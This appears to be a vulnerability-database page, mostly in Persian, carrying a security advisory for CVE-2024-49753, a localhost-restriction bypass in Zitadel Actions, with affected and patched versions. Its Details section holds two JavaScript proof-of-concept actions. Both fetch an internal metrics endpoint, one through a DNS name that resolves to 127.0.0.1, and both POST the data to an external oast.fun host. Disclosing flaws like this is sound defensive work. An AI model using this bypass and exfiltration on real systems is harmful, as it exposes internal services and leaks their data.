همهٔ گزارش‌ها
متوسط

Denied Host Validation Bypass in Zitadel Actions

متن اصلی

نسخه‌های متأثر

بازه‌ها نیاز به بررسی دارند.

نسخه‌های متأثر
< 0.0.0-20241022141644-79fb4cc1cc6e
نسخهٔ اصلاح‌شده
0.0.0-20241022141644-79fb4cc1cc6e
نسخه‌های متأثر
= 2.64.0
نسخهٔ اصلاح‌شده
2.64.1
نسخه‌های متأثر
>= 2.59.0, < 2.59.5
نسخهٔ اصلاح‌شده
2.59.5
نسخه‌های متأثر
>= 2.62.0, < 2.62.8
نسخهٔ اصلاح‌شده
2.62.8
نسخه‌های متأثر
>= 1.80.1, < 2.58.7
نسخهٔ اصلاح‌شده
2.58.7
نسخه‌های متأثر
*
نسخهٔ اصلاح‌شده
اعلام نشده
نسخه‌های متأثر
>= 2.60.0, < 2.60.4
نسخهٔ اصلاح‌شده
2.60.4
نسخه‌های متأثر
>= 2.63.0, < 2.63.6
نسخهٔ اصلاح‌شده
2.63.6
نسخه‌های متأثر
>= 2.61.0, < 2.61.4
نسخهٔ اصلاح‌شده
2.61.4
نسخه‌های متأثر
>= 0.0.0, < 1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e
نسخهٔ اصلاح‌شده
1.80.0-v2.20.0.20241022141644-79fb4cc1cc6e

بهره‌برداری

CVE-2024-49753

احتمال بهره‌برداری در ۳۰ روز آینده: 0.65%

FIRST EPSS · ۱۴۰۵/۰۸/۲۷

شرح آسیب‌پذیری

Summary

A flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.

Details

While attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record.

The relevant action code demonstrates the attempted request to 127.0.0.1:

let http = require('zitadel/http')
let logger = require("zitadel/log")
function make_api_call(ctx, api) {
    var user = http.fetch('http://127.0.0.1:8080/debug/metrics');

    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            'data': user,
        }),
    });
    logger.log(api_r.body);
}

By creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request. image

The modified action code uses the custom domain instead of 127.0.0.1:

let http = require('zitadel/http')
let logger = require("zitadel/log")
function make_api_call(ctx, api) {
    var user = http.fetch('http://ok.jelly244.messwithdns.com:8080/debug/metrics');

    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            'user': user,
        }),
    });
    logger.log(api_r.body);
}

image

This demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint. image

Impact

This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities.

Patches

2.x versions are fixed on >= 2.64.1 2.63.x versions are fixed on >= 2.63.6 2.62.x versions are fixed on >= 2.62.8 2.61.x versions are fixed on >= 2.61.4 2.60.x versions are fixed on >= 2.60.4 2.59.x versions are fixed on >= 2.59.5 2.58.x versions are fixed on >= 2.58.7

Workarounds

There is no workaround since a patch is already available.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to @prdp1137 for reporting this!

پیوندها

گزارش‌دهندگان

  • prdp1137
  • livio-a
  • fforootd